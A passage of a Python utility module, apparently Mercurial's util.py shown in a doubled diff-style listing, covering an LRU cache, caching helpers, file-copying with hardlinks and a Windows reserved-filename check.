1419 we recycle head.prev and make it the new head. Cache accesses result in
1420 we recycle head.prev and make it the new head. Cache accesses result in
1420 the node being moved to before the existing head and being marked as the
1421 the node being moved to before the existing head and being marked as the
1421 new head node.
1422 new head node.
1422
1423
1423 Items in the cache can be inserted with an optional "cost" value. This is
1424 Items in the cache can be inserted with an optional "cost" value. This is
1424 simply an integer that is specified by the caller. The cache can be queried
1425 simply an integer that is specified by the caller. The cache can be queried
1425 for the total cost of all items presently in the cache.
1426 for the total cost of all items presently in the cache.
1426
1427
1427 The cache can also define a maximum cost. If a cache insertion would
1428 The cache can also define a maximum cost. If a cache insertion would
1428 cause the total cost of the cache to go beyond the maximum cost limit,
1429 cause the total cost of the cache to go beyond the maximum cost limit,
1429 nodes will be evicted to make room for the new code. This can be used
1430 nodes will be evicted to make room for the new code. This can be used
1430 to e.g. set a max memory limit and associate an estimated bytes size
1431 to e.g. set a max memory limit and associate an estimated bytes size
1431 cost to each item in the cache. By default, no maximum cost is enforced.
1432 cost to each item in the cache. By default, no maximum cost is enforced.
1432 """
1433 """
1433
1434
1434 def __init__(self, max, maxcost=0):
1435 def __init__(self, max, maxcost=0):
1435 self._cache = {}
1436 self._cache = {}
1436
1437
1437 self._head = head = _lrucachenode()
1438 self._head = head = _lrucachenode()
1438 head.prev = head
1439 head.prev = head
1439 head.next = head
1440 head.next = head
1440 self._size = 1
1441 self._size = 1
1441 self.capacity = max
1442 self.capacity = max
1442 self.totalcost = 0
1443 self.totalcost = 0
1443 self.maxcost = maxcost
1444 self.maxcost = maxcost
1444
1445
1445 def __len__(self):
1446 def __len__(self):
1446 return len(self._cache)
1447 return len(self._cache)
1447
1448
1448 def __contains__(self, k):
1449 def __contains__(self, k):
1449 return k in self._cache
1450 return k in self._cache
1450
1451
1451 def __iter__(self):
1452 def __iter__(self):
1452 # We don't have to iterate in cache order, but why not.
1453 # We don't have to iterate in cache order, but why not.
1453 n = self._head
1454 n = self._head
1454 for i in range(len(self._cache)):
1455 for i in range(len(self._cache)):
1455 yield n.key
1456 yield n.key
1456 n = n.next
1457 n = n.next
1457
1458
1458 def __getitem__(self, k):
1459 def __getitem__(self, k):
1459 node = self._cache[k]
1460 node = self._cache[k]
1460 self._movetohead(node)
1461 self._movetohead(node)
1461 return node.value
1462 return node.value
1462
1463
1463 def insert(self, k, v, cost=0):
1464 def insert(self, k, v, cost=0):
1464 """Insert a new item in the cache with optional cost value."""
1465 """Insert a new item in the cache with optional cost value."""
1465 node = self._cache.get(k)
1466 node = self._cache.get(k)
1466 # Replace existing value and mark as newest.
1467 # Replace existing value and mark as newest.
1467 if node is not None:
1468 if node is not None:
1468 self.totalcost -= node.cost
1469 self.totalcost -= node.cost
1469 node.value = v
1470 node.value = v
1470 node.cost = cost
1471 node.cost = cost
1471 self.totalcost += cost
1472 self.totalcost += cost
1472 self._movetohead(node)
1473 self._movetohead(node)
1473
1474
1474 if self.maxcost:
1475 if self.maxcost:
1475 self._enforcecostlimit()
1476 self._enforcecostlimit()
1476
1477
1477 return
1478 return
1478
1479
1479 if self._size < self.capacity:
1480 if self._size < self.capacity:
1480 node = self._addcapacity()
1481 node = self._addcapacity()
1481 else:
1482 else:
1482 # Grab the last/oldest item.
1483 # Grab the last/oldest item.
1483 node = self._head.prev
1484 node = self._head.prev
1484
1485
1485 # At capacity. Kill the old entry.
1486 # At capacity. Kill the old entry.
1486 if node.key is not _notset:
1487 if node.key is not _notset:
1487 self.totalcost -= node.cost
1488 self.totalcost -= node.cost
1488 del self._cache[node.key]
1489 del self._cache[node.key]
1489
1490
1490 node.key = k
1491 node.key = k
1491 node.value = v
1492 node.value = v
1492 node.cost = cost
1493 node.cost = cost
1493 self.totalcost += cost
1494 self.totalcost += cost
1494 self._cache[k] = node
1495 self._cache[k] = node
1495 # And mark it as newest entry. No need to adjust order since it
1496 # And mark it as newest entry. No need to adjust order since it
1496 # is already self._head.prev.
1497 # is already self._head.prev.
1497 self._head = node
1498 self._head = node
1498
1499
1499 if self.maxcost:
1500 if self.maxcost:
1500 self._enforcecostlimit()
1501 self._enforcecostlimit()
1501
1502
1502 def __setitem__(self, k, v):
1503 def __setitem__(self, k, v):
1503 self.insert(k, v)
1504 self.insert(k, v)
1504
1505
1505 def __delitem__(self, k):
1506 def __delitem__(self, k):
1506 self.pop(k)
1507 self.pop(k)
1507
1508
1508 def pop(self, k, default=_notset):
1509 def pop(self, k, default=_notset):
1509 try:
1510 try:
1510 node = self._cache.pop(k)
1511 node = self._cache.pop(k)
1511 except KeyError:
1512 except KeyError:
1512 if default is _notset:
1513 if default is _notset:
1513 raise
1514 raise
1514 return default
1515 return default
1515
1516
1516 assert node is not None # help pytype
1517 assert node is not None # help pytype
1517 value = node.value
1518 value = node.value
1518 self.totalcost -= node.cost
1519 self.totalcost -= node.cost
1519 node.markempty()
1520 node.markempty()
1520
1521
1521 # Temporarily mark as newest item before re-adjusting head to make
1522 # Temporarily mark as newest item before re-adjusting head to make
1522 # this node the oldest item.
1523 # this node the oldest item.
1523 self._movetohead(node)
1524 self._movetohead(node)
1524 self._head = node.next
1525 self._head = node.next
1525
1526
1526 return value
1527 return value
1527
1528
1528 # Additional dict methods.
1529 # Additional dict methods.
1529
1530
1530 def get(self, k, default=None):
1531 def get(self, k, default=None):
1531 try:
1532 try:
1532 return self.__getitem__(k)
1533 return self.__getitem__(k)
1533 except KeyError:
1534 except KeyError:
1534 return default
1535 return default
1535
1536
1536 def peek(self, k, default=_notset):
1537 def peek(self, k, default=_notset):
1537 """Get the specified item without moving it to the head
1538 """Get the specified item without moving it to the head
1538
1539
1539 Unlike get(), this doesn't mutate the internal state. But be aware
1540 Unlike get(), this doesn't mutate the internal state. But be aware
1540 that it doesn't mean peek() is thread safe.
1541 that it doesn't mean peek() is thread safe.
1541 """
1542 """
1542 try:
1543 try:
1543 node = self._cache[k]
1544 node = self._cache[k]
1544 return node.value
1545 return node.value
1545 except KeyError:
1546 except KeyError:
1546 if default is _notset:
1547 if default is _notset:
1547 raise
1548 raise
1548 return default
1549 return default
1549
1550
1550 def clear(self):
1551 def clear(self):
1551 n = self._head
1552 n = self._head
1552 while n.key is not _notset:
1553 while n.key is not _notset:
1553 self.totalcost -= n.cost
1554 self.totalcost -= n.cost
1554 n.markempty()
1555 n.markempty()
1555 n = n.next
1556 n = n.next
1556
1557
1557 self._cache.clear()
1558 self._cache.clear()
1558
1559
1559 def copy(self, capacity=None, maxcost=0):
1560 def copy(self, capacity=None, maxcost=0):
1560 """Create a new cache as a copy of the current one.
1561 """Create a new cache as a copy of the current one.
1561
1562
1562 By default, the new cache has the same capacity as the existing one.
1563 By default, the new cache has the same capacity as the existing one.
1563 But, the cache capacity can be changed as part of performing the
1564 But, the cache capacity can be changed as part of performing the
1564 copy.
1565 copy.
1565
1566
1566 Items in the copy have an insertion/access order matching this
1567 Items in the copy have an insertion/access order matching this
1567 instance.
1568 instance.
1568 """
1569 """
1569
1570
1570 capacity = capacity or self.capacity
1571 capacity = capacity or self.capacity
1571 maxcost = maxcost or self.maxcost
1572 maxcost = maxcost or self.maxcost
1572 result = lrucachedict(capacity, maxcost=maxcost)
1573 result = lrucachedict(capacity, maxcost=maxcost)
1573
1574
1574 # We copy entries by iterating in oldest-to-newest order so the copy
1575 # We copy entries by iterating in oldest-to-newest order so the copy
1575 # has the correct ordering.
1576 # has the correct ordering.
1576
1577
1577 # Find the first non-empty entry.
1578 # Find the first non-empty entry.
1578 n = self._head.prev
1579 n = self._head.prev
1579 while n.key is _notset and n is not self._head:
1580 while n.key is _notset and n is not self._head:
1580 n = n.prev
1581 n = n.prev
1581
1582
1582 # We could potentially skip the first N items when decreasing capacity.
1583 # We could potentially skip the first N items when decreasing capacity.
1583 # But let's keep it simple unless it is a performance problem.
1584 # But let's keep it simple unless it is a performance problem.
1584 for i in range(len(self._cache)):
1585 for i in range(len(self._cache)):
1585 result.insert(n.key, n.value, cost=n.cost)
1586 result.insert(n.key, n.value, cost=n.cost)
1586 n = n.prev
1587 n = n.prev
1587
1588
1588 return result
1589 return result
1589
1590
1590 def popoldest(self):
1591 def popoldest(self):
1591 """Remove the oldest item from the cache.
1592 """Remove the oldest item from the cache.
1592
1593
1593 Returns the (key, value) describing the removed cache entry.
1594 Returns the (key, value) describing the removed cache entry.
1594 """
1595 """
1595 if not self._cache:
1596 if not self._cache:
1596 return
1597 return
1597
1598
1598 # Walk the linked list backwards starting at tail node until we hit
1599 # Walk the linked list backwards starting at tail node until we hit
1599 # a non-empty node.
1600 # a non-empty node.
1600 n = self._head.prev
1601 n = self._head.prev
1601 while n.key is _notset:
1602 while n.key is _notset:
1602 n = n.prev
1603 n = n.prev
1603
1604
1604 assert n is not None # help pytype
1605 assert n is not None # help pytype
1605
1606
1606 key, value = n.key, n.value
1607 key, value = n.key, n.value
1607
1608
1608 # And remove it from the cache and mark it as empty.
1609 # And remove it from the cache and mark it as empty.
1609 del self._cache[n.key]
1610 del self._cache[n.key]
1610 self.totalcost -= n.cost
1611 self.totalcost -= n.cost
1611 n.markempty()
1612 n.markempty()
1612
1613
1613 return key, value
1614 return key, value
1614
1615
1615 def _movetohead(self, node):
1616 def _movetohead(self, node):
1616 """Mark a node as the newest, making it the new head.
1617 """Mark a node as the newest, making it the new head.
1617
1618
1618 When a node is accessed, it becomes the freshest entry in the LRU
1619 When a node is accessed, it becomes the freshest entry in the LRU
1619 list, which is denoted by self._head.
1620 list, which is denoted by self._head.
1620
1621
1621 Visually, let's make ``N`` the new head node (* denotes head):
1622 Visually, let's make ``N`` the new head node (* denotes head):
1622
1623
1623 previous/oldest <-> head <-> next/next newest
1624 previous/oldest <-> head <-> next/next newest
1624
1625
1625 ----<->--- A* ---<->-----
1626 ----<->--- A* ---<->-----
1626 | |
1627 | |
1627 E <-> D <-> N <-> C <-> B
1628 E <-> D <-> N <-> C <-> B
1628
1629
1629 To:
1630 To:
1630
1631
1631 ----<->--- N* ---<->-----
1632 ----<->--- N* ---<->-----
1632 | |
1633 | |
1633 E <-> D <-> C <-> B <-> A
1634 E <-> D <-> C <-> B <-> A
1634
1635
1635 This requires the following moves:
1636 This requires the following moves:
1636
1637
1637 C.next = D (node.prev.next = node.next)
1638 C.next = D (node.prev.next = node.next)
1638 D.prev = C (node.next.prev = node.prev)
1639 D.prev = C (node.next.prev = node.prev)
1639 E.next = N (head.prev.next = node)
1640 E.next = N (head.prev.next = node)
1640 N.prev = E (node.prev = head.prev)
1641 N.prev = E (node.prev = head.prev)
1641 N.next = A (node.next = head)
1642 N.next = A (node.next = head)
1642 A.prev = N (head.prev = node)
1643 A.prev = N (head.prev = node)
1643 """
1644 """
1644 head = self._head
1645 head = self._head
1645 # C.next = D
1646 # C.next = D
1646 node.prev.next = node.next
1647 node.prev.next = node.next
1647 # D.prev = C
1648 # D.prev = C
1648 node.next.prev = node.prev
1649 node.next.prev = node.prev
1649 # N.prev = E
1650 # N.prev = E
1650 node.prev = head.prev
1651 node.prev = head.prev
1651 # N.next = A
1652 # N.next = A
1652 # It is tempting to do just "head" here, however if node is
1653 # It is tempting to do just "head" here, however if node is
1653 # adjacent to head, this will do bad things.
1654 # adjacent to head, this will do bad things.
1654 node.next = head.prev.next
1655 node.next = head.prev.next
1655 # E.next = N
1656 # E.next = N
1656 node.next.prev = node
1657 node.next.prev = node
1657 # A.prev = N
1658 # A.prev = N
1658 node.prev.next = node
1659 node.prev.next = node
1659
1660
1660 self._head = node
1661 self._head = node
1661
1662
1662 def _addcapacity(self):
1663 def _addcapacity(self):
1663 """Add a node to the circular linked list.
1664 """Add a node to the circular linked list.
1664
1665
1665 The new node is inserted before the head node.
1666 The new node is inserted before the head node.
1666 """
1667 """
1667 head = self._head
1668 head = self._head
1668 node = _lrucachenode()
1669 node = _lrucachenode()
1669 head.prev.next = node
1670 head.prev.next = node
1670 node.prev = head.prev
1671 node.prev = head.prev
1671 node.next = head
1672 node.next = head
1672 head.prev = node
1673 head.prev = node
1673 self._size += 1
1674 self._size += 1
1674 return node
1675 return node
1675
1676
1676 def _enforcecostlimit(self):
1677 def _enforcecostlimit(self):
1677 # This should run after an insertion. It should only be called if total
1678 # This should run after an insertion. It should only be called if total
1678 # cost limits are being enforced.
1679 # cost limits are being enforced.
1679 # The most recently inserted node is never evicted.
1680 # The most recently inserted node is never evicted.
1680 if len(self) <= 1 or self.totalcost <= self.maxcost:
1681 if len(self) <= 1 or self.totalcost <= self.maxcost:
1681 return
1682 return
1682
1683
1683 # This is logically equivalent to calling popoldest() until we
1684 # This is logically equivalent to calling popoldest() until we
1684 # free up enough cost. We don't do that since popoldest() needs
1685 # free up enough cost. We don't do that since popoldest() needs
1685 # to walk the linked list and doing this in a loop would be
1686 # to walk the linked list and doing this in a loop would be
1686 # quadratic. So we find the first non-empty node and then
1687 # quadratic. So we find the first non-empty node and then
1687 # walk nodes until we free up enough capacity.
1688 # walk nodes until we free up enough capacity.
1688 #
1689 #
1689 # If we only removed the minimum number of nodes to free enough
1690 # If we only removed the minimum number of nodes to free enough
1690 # cost at insert time, chances are high that the next insert would
1691 # cost at insert time, chances are high that the next insert would
1691 # also require pruning. This would effectively constitute quadratic
1692 # also require pruning. This would effectively constitute quadratic
1692 # behavior for insert-heavy workloads. To mitigate this, we set a
1693 # behavior for insert-heavy workloads. To mitigate this, we set a
1693 # target cost that is a percentage of the max cost. This will tend
1694 # target cost that is a percentage of the max cost. This will tend
1694 # to free more nodes when the high water mark is reached, which
1695 # to free more nodes when the high water mark is reached, which
1695 # lowers the chances of needing to prune on the subsequent insert.
1696 # lowers the chances of needing to prune on the subsequent insert.
1696 targetcost = int(self.maxcost * 0.75)
1697 targetcost = int(self.maxcost * 0.75)
1697
1698
1698 n = self._head.prev
1699 n = self._head.prev
1699 while n.key is _notset:
1700 while n.key is _notset:
1700 n = n.prev
1701 n = n.prev
1701
1702
1702 while len(self) > 1 and self.totalcost > targetcost:
1703 while len(self) > 1 and self.totalcost > targetcost:
1703 del self._cache[n.key]
1704 del self._cache[n.key]
1704 self.totalcost -= n.cost
1705 self.totalcost -= n.cost
1705 n.markempty()
1706 n.markempty()
1706 n = n.prev
1707 n = n.prev
1707
1708
1708
1709
1709 def lrucachefunc(func):
1710 def lrucachefunc(func):
1710 '''cache most recent results of function calls'''
1711 '''cache most recent results of function calls'''
1711 cache = {}
1712 cache = {}
1712 order = collections.deque()
1713 order = collections.deque()
1713 if func.__code__.co_argcount == 1:
1714 if func.__code__.co_argcount == 1:
1714
1715
1715 def f(arg):
1716 def f(arg):
1716 if arg not in cache:
1717 if arg not in cache:
1717 if len(cache) > 20:
1718 if len(cache) > 20:
1718 del cache[order.popleft()]
1719 del cache[order.popleft()]
1719 cache[arg] = func(arg)
1720 cache[arg] = func(arg)
1720 else:
1721 else:
1721 order.remove(arg)
1722 order.remove(arg)
1722 order.append(arg)
1723 order.append(arg)
1723 return cache[arg]
1724 return cache[arg]
1724
1725
1725 else:
1726 else:
1726
1727
1727 def f(*args):
1728 def f(*args):
1728 if args not in cache:
1729 if args not in cache:
1729 if len(cache) > 20:
1730 if len(cache) > 20:
1730 del cache[order.popleft()]
1731 del cache[order.popleft()]
1731 cache[args] = func(*args)
1732 cache[args] = func(*args)
1732 else:
1733 else:
1733 order.remove(args)
1734 order.remove(args)
1734 order.append(args)
1735 order.append(args)
1735 return cache[args]
1736 return cache[args]
1736
1737
1737 return f
1738 return f
1738
1739
1739
1740
1740 class propertycache(object):
1741 class propertycache(object):
1741 def __init__(self, func):
1742 def __init__(self, func):
1742 self.func = func
1743 self.func = func
1743 self.name = func.__name__
1744 self.name = func.__name__
1744
1745
1745 def __get__(self, obj, type=None):
1746 def __get__(self, obj, type=None):
1746 result = self.func(obj)
1747 result = self.func(obj)
1747 self.cachevalue(obj, result)
1748 self.cachevalue(obj, result)
1748 return result
1749 return result
1749
1750
1750 def cachevalue(self, obj, value):
1751 def cachevalue(self, obj, value):
1751 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1752 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1752 obj.__dict__[self.name] = value
1753 obj.__dict__[self.name] = value
1753
1754
1754
1755
1755 def clearcachedproperty(obj, prop):
1756 def clearcachedproperty(obj, prop):
1756 '''clear a cached property value, if one has been set'''
1757 '''clear a cached property value, if one has been set'''
1757 prop = pycompat.sysstr(prop)
1758 prop = pycompat.sysstr(prop)
1758 if prop in obj.__dict__:
1759 if prop in obj.__dict__:
1759 del obj.__dict__[prop]
1760 del obj.__dict__[prop]
1760
1761
1761
1762
1762 def increasingchunks(source, min=1024, max=65536):
1763 def increasingchunks(source, min=1024, max=65536):
1763 '''return no less than min bytes per chunk while data remains,
1764 '''return no less than min bytes per chunk while data remains,
1764 doubling min after each chunk until it reaches max'''
1765 doubling min after each chunk until it reaches max'''
1765
1766
1766 def log2(x):
1767 def log2(x):
1767 if not x:
1768 if not x:
1768 return 0
1769 return 0
1769 i = 0
1770 i = 0
1770 while x:
1771 while x:
1771 x >>= 1
1772 x >>= 1
1772 i += 1
1773 i += 1
1773 return i - 1
1774 return i - 1
1774
1775
1775 buf = []
1776 buf = []
1776 blen = 0
1777 blen = 0
1777 for chunk in source:
1778 for chunk in source:
1778 buf.append(chunk)
1779 buf.append(chunk)
1779 blen += len(chunk)
1780 blen += len(chunk)
1780 if blen >= min:
1781 if blen >= min:
1781 if min < max:
1782 if min < max:
1782 min = min << 1
1783 min = min << 1
1783 nmin = 1 << log2(blen)
1784 nmin = 1 << log2(blen)
1784 if nmin > min:
1785 if nmin > min:
1785 min = nmin
1786 min = nmin
1786 if min > max:
1787 if min > max:
1787 min = max
1788 min = max
1788 yield b''.join(buf)
1789 yield b''.join(buf)
1789 blen = 0
1790 blen = 0
1790 buf = []
1791 buf = []
1791 if buf:
1792 if buf:
1792 yield b''.join(buf)
1793 yield b''.join(buf)
1793
1794
1794
1795
1795 def always(fn):
1796 def always(fn):
1796 return True
1797 return True
1797
1798
1798
1799
1799 def never(fn):
1800 def never(fn):
1800 return False
1801 return False
1801
1802
1802
1803
1803 def nogc(func):
1804 def nogc(func):
1804 """disable garbage collector
1805 """disable garbage collector
1805
1806
1806 Python's garbage collector triggers a GC each time a certain number of
1807 Python's garbage collector triggers a GC each time a certain number of
1807 container objects (the number being defined by gc.get_threshold()) are
1808 container objects (the number being defined by gc.get_threshold()) are
1808 allocated even when marked not to be tracked by the collector. Tracking has
1809 allocated even when marked not to be tracked by the collector. Tracking has
1809 no effect on when GCs are triggered, only on what objects the GC looks
1810 no effect on when GCs are triggered, only on what objects the GC looks
1810 into. As a workaround, disable GC while building complex (huge)
1811 into. As a workaround, disable GC while building complex (huge)
1811 containers.
1812 containers.
1812
1813
1813 This garbage collector issue have been fixed in 2.7. But it still affect
1814 This garbage collector issue have been fixed in 2.7. But it still affect
1814 CPython's performance.
1815 CPython's performance.
1815 """
1816 """
1816
1817
1817 def wrapper(*args, **kwargs):
1818 def wrapper(*args, **kwargs):
1818 gcenabled = gc.isenabled()
1819 gcenabled = gc.isenabled()
1819 gc.disable()
1820 gc.disable()
1820 try:
1821 try:
1821 return func(*args, **kwargs)
1822 return func(*args, **kwargs)
1822 finally:
1823 finally:
1823 if gcenabled:
1824 if gcenabled:
1824 gc.enable()
1825 gc.enable()
1825
1826
1826 return wrapper
1827 return wrapper
1827
1828
1828
1829
1829 if pycompat.ispypy:
1830 if pycompat.ispypy:
1830 # PyPy runs slower with gc disabled
1831 # PyPy runs slower with gc disabled
1831 nogc = lambda x: x
1832 nogc = lambda x: x
1832
1833
1833
1834
1834 def pathto(root, n1, n2):
1835 def pathto(root, n1, n2):
1835 '''return the relative path from one place to another.
1836 '''return the relative path from one place to another.
1836 root should use os.sep to separate directories
1837 root should use os.sep to separate directories
1837 n1 should use os.sep to separate directories
1838 n1 should use os.sep to separate directories
1838 n2 should use "/" to separate directories
1839 n2 should use "/" to separate directories
1839 returns an os.sep-separated path.
1840 returns an os.sep-separated path.
1840
1841
1841 If n1 is a relative path, it's assumed it's
1842 If n1 is a relative path, it's assumed it's
1842 relative to root.
1843 relative to root.
1843 n2 should always be relative to root.
1844 n2 should always be relative to root.
1844 '''
1845 '''
1845 if not n1:
1846 if not n1:
1846 return localpath(n2)
1847 return localpath(n2)
1847 if os.path.isabs(n1):
1848 if os.path.isabs(n1):
1848 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1849 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1849 return os.path.join(root, localpath(n2))
1850 return os.path.join(root, localpath(n2))
1850 n2 = b'/'.join((pconvert(root), n2))
1851 n2 = b'/'.join((pconvert(root), n2))
1851 a, b = splitpath(n1), n2.split(b'/')
1852 a, b = splitpath(n1), n2.split(b'/')
1852 a.reverse()
1853 a.reverse()
1853 b.reverse()
1854 b.reverse()
1854 while a and b and a[-1] == b[-1]:
1855 while a and b and a[-1] == b[-1]:
1855 a.pop()
1856 a.pop()
1856 b.pop()
1857 b.pop()
1857 b.reverse()
1858 b.reverse()
1858 return pycompat.ossep.join(([b'..'] * len(a)) + b) or b'.'
1859 return pycompat.ossep.join(([b'..'] * len(a)) + b) or b'.'
1859
1860
1860
1861
1861 def checksignature(func, depth=1):
1862 def checksignature(func, depth=1):
1862 '''wrap a function with code to check for calling errors'''
1863 '''wrap a function with code to check for calling errors'''
1863
1864
1864 def check(*args, **kwargs):
1865 def check(*args, **kwargs):
1865 try:
1866 try:
1866 return func(*args, **kwargs)
1867 return func(*args, **kwargs)
1867 except TypeError:
1868 except TypeError:
1868 if len(traceback.extract_tb(sys.exc_info()[2])) == depth:
1869 if len(traceback.extract_tb(sys.exc_info()[2])) == depth:
1869 raise error.SignatureError
1870 raise error.SignatureError
1870 raise
1871 raise
1871
1872
1872 return check
1873 return check
1873
1874
1874
1875
1875 # a whilelist of known filesystems where hardlink works reliably
1876 # a whilelist of known filesystems where hardlink works reliably
1876 _hardlinkfswhitelist = {
1877 _hardlinkfswhitelist = {
1877 b'apfs',
1878 b'apfs',
1878 b'btrfs',
1879 b'btrfs',
1879 b'ext2',
1880 b'ext2',
1880 b'ext3',
1881 b'ext3',
1881 b'ext4',
1882 b'ext4',
1882 b'hfs',
1883 b'hfs',
1883 b'jfs',
1884 b'jfs',
1884 b'NTFS',
1885 b'NTFS',
1885 b'reiserfs',
1886 b'reiserfs',
1886 b'tmpfs',
1887 b'tmpfs',
1887 b'ufs',
1888 b'ufs',
1888 b'xfs',
1889 b'xfs',
1889 b'zfs',
1890 b'zfs',
1890 }
1891 }
1891
1892
1892
1893
1893 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1894 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1894 '''copy a file, preserving mode and optionally other stat info like
1895 '''copy a file, preserving mode and optionally other stat info like
1895 atime/mtime
1896 atime/mtime
1896
1897
1897 checkambig argument is used with filestat, and is useful only if
1898 checkambig argument is used with filestat, and is useful only if
1898 destination file is guarded by any lock (e.g. repo.lock or
1899 destination file is guarded by any lock (e.g. repo.lock or
1899 repo.wlock).
1900 repo.wlock).
1900
1901
1901 copystat and checkambig should be exclusive.
1902 copystat and checkambig should be exclusive.
1902 '''
1903 '''
1903 assert not (copystat and checkambig)
1904 assert not (copystat and checkambig)
1904 oldstat = None
1905 oldstat = None
1905 if os.path.lexists(dest):
1906 if os.path.lexists(dest):
1906 if checkambig:
1907 if checkambig:
1907 oldstat = checkambig and filestat.frompath(dest)
1908 oldstat = checkambig and filestat.frompath(dest)
1908 unlink(dest)
1909 unlink(dest)
1909 if hardlink:
1910 if hardlink:
1910 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1911 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1911 # unless we are confident that dest is on a whitelisted filesystem.
1912 # unless we are confident that dest is on a whitelisted filesystem.
1912 try:
1913 try:
1913 fstype = getfstype(os.path.dirname(dest))
1914 fstype = getfstype(os.path.dirname(dest))
1914 except OSError:
1915 except OSError:
1915 fstype = None
1916 fstype = None
1916 if fstype not in _hardlinkfswhitelist:
1917 if fstype not in _hardlinkfswhitelist:
1917 hardlink = False
1918 hardlink = False
1918 if hardlink:
1919 if hardlink:
1919 try:
1920 try:
1920 oslink(src, dest)
1921 oslink(src, dest)
1921 return
1922 return
1922 except (IOError, OSError):
1923 except (IOError, OSError):
1923 pass # fall back to normal copy
1924 pass # fall back to normal copy
1924 if os.path.islink(src):
1925 if os.path.islink(src):
1925 os.symlink(os.readlink(src), dest)
1926 os.symlink(os.readlink(src), dest)
1926 # copytime is ignored for symlinks, but in general copytime isn't needed
1927 # copytime is ignored for symlinks, but in general copytime isn't needed
1927 # for them anyway
1928 # for them anyway
1928 else:
1929 else:
1929 try:
1930 try:
1930 shutil.copyfile(src, dest)
1931 shutil.copyfile(src, dest)
1931 if copystat:
1932 if copystat:
1932 # copystat also copies mode
1933 # copystat also copies mode
1933 shutil.copystat(src, dest)
1934 shutil.copystat(src, dest)
1934 else:
1935 else:
1935 shutil.copymode(src, dest)
1936 shutil.copymode(src, dest)
1936 if oldstat and oldstat.stat:
1937 if oldstat and oldstat.stat:
1937 newstat = filestat.frompath(dest)
1938 newstat = filestat.frompath(dest)
1938 if newstat.isambig(oldstat):
1939 if newstat.isambig(oldstat):
1939 # stat of copied file is ambiguous to original one
1940 # stat of copied file is ambiguous to original one
1940 advanced = (
1941 advanced = (
1941 oldstat.stat[stat.ST_MTIME] + 1
1942 oldstat.stat[stat.ST_MTIME] + 1
1942 ) & 0x7FFFFFFF
1943 ) & 0x7FFFFFFF
1943 os.utime(dest, (advanced, advanced))
1944 os.utime(dest, (advanced, advanced))
1944 except shutil.Error as inst:
1945 except shutil.Error as inst:
1945 raise error.Abort(stringutil.forcebytestr(inst))
1946 raise error.Abort(stringutil.forcebytestr(inst))
1946
1947
1947
1948
1948 def copyfiles(src, dst, hardlink=None, progress=None):
1949 def copyfiles(src, dst, hardlink=None, progress=None):
1949 """Copy a directory tree using hardlinks if possible."""
1950 """Copy a directory tree using hardlinks if possible."""
1950 num = 0
1951 num = 0
1951
1952
1952 def settopic():
1953 def settopic():
1953 if progress:
1954 if progress:
1954 progress.topic = _(b'linking') if hardlink else _(b'copying')
1955 progress.topic = _(b'linking') if hardlink else _(b'copying')
1955
1956
1956 if os.path.isdir(src):
1957 if os.path.isdir(src):
1957 if hardlink is None:
1958 if hardlink is None:
1958 hardlink = (
1959 hardlink = (
1959 os.stat(src).st_dev == os.stat(os.path.dirname(dst)).st_dev
1960 os.stat(src).st_dev == os.stat(os.path.dirname(dst)).st_dev
1960 )
1961 )
1961 settopic()
1962 settopic()
1962 os.mkdir(dst)
1963 os.mkdir(dst)
1963 for name, kind in listdir(src):
1964 for name, kind in listdir(src):
1964 srcname = os.path.join(src, name)
1965 srcname = os.path.join(src, name)
1965 dstname = os.path.join(dst, name)
1966 dstname = os.path.join(dst, name)
1966 hardlink, n = copyfiles(srcname, dstname, hardlink, progress)
1967 hardlink, n = copyfiles(srcname, dstname, hardlink, progress)
1967 num += n
1968 num += n
1968 else:
1969 else:
1969 if hardlink is None:
1970 if hardlink is None:
1970 hardlink = (
1971 hardlink = (
1971 os.stat(os.path.dirname(src)).st_dev
1972 os.stat(os.path.dirname(src)).st_dev
1972 == os.stat(os.path.dirname(dst)).st_dev
1973 == os.stat(os.path.dirname(dst)).st_dev
1973 )
1974 )
1974 settopic()
1975 settopic()
1975
1976
1976 if hardlink:
1977 if hardlink:
1977 try:
1978 try:
1978 oslink(src, dst)
1979 oslink(src, dst)
1979 except (IOError, OSError):
1980 except (IOError, OSError):
1980 hardlink = False
1981 hardlink = False
1981 shutil.copy(src, dst)
1982 shutil.copy(src, dst)
1982 else:
1983 else:
1983 shutil.copy(src, dst)
1984 shutil.copy(src, dst)
1984 num += 1
1985 num += 1
1985 if progress:
1986 if progress:
1986 progress.increment()
1987 progress.increment()
1987
1988
1988 return hardlink, num
1989 return hardlink, num
1989
1990
1990
1991
1991 _winreservednames = {
1992 _winreservednames = {
1992 b'con',
1993 b'con',
1993 b'prn',
1994 b'prn',
1994 b'aux',
1995 b'aux',
1995 b'nul',
1996 b'nul',
1996 b'com1',
1997 b'com1',
1997 b'com2',
1998 b'com2',
1998 b'com3',
1999 b'com3',
1999 b'com4',
2000 b'com4',
2000 b'com5',
2001 b'com5',
2001 b'com6',
2002 b'com6',
2002 b'com7',
2003 b'com7',
2003 b'com8',
2004 b'com8',
2004 b'com9',
2005 b'com9',
2005 b'lpt1',
2006 b'lpt1',
2006 b'lpt2',
2007 b'lpt2',
2007 b'lpt3',
2008 b'lpt3',
2008 b'lpt4',
2009 b'lpt4',
2009 b'lpt5',
2010 b'lpt5',
2010 b'lpt6',
2011 b'lpt6',
2011 b'lpt7',
2012 b'lpt7',
2012 b'lpt8',
2013 b'lpt8',
2013 b'lpt9',
2014 b'lpt9',
2014 }
2015 }
2015 _winreservedchars = b':*?"<>|'
2016 _winreservedchars = b':*?"<>|'
2016
2017
2017
2018
2018 def checkwinfilename(path):
2019 def checkwinfilename(path):
2019 r'''Check that the base-relative path is a valid filename on Windows.
2020 r'''Check that the base-relative path is a valid filename on Windows.
2020 Returns None if the path is ok, or a UI string describing the problem.
2021 Returns None if the path is ok, or a UI string describing the problem.
2021
2022
2022 >>> checkwinfilename(b"just/a/normal/path")
2023 >>> checkwinfilename(b"just/a/normal/path")
2023 >>> checkwinfilename(b"foo/bar/con.xml")
2024 >>> checkwinfilename(b"foo/bar/con.xml")
2024 "filename contains 'con', which is reserved on Windows"
2025 "filename contains 'con', which is reserved on Windows"
2025 >>> checkwinfilename(b"foo/con.xml/bar")
2026 >>> checkwinfilename(b"foo/con.xml/bar")
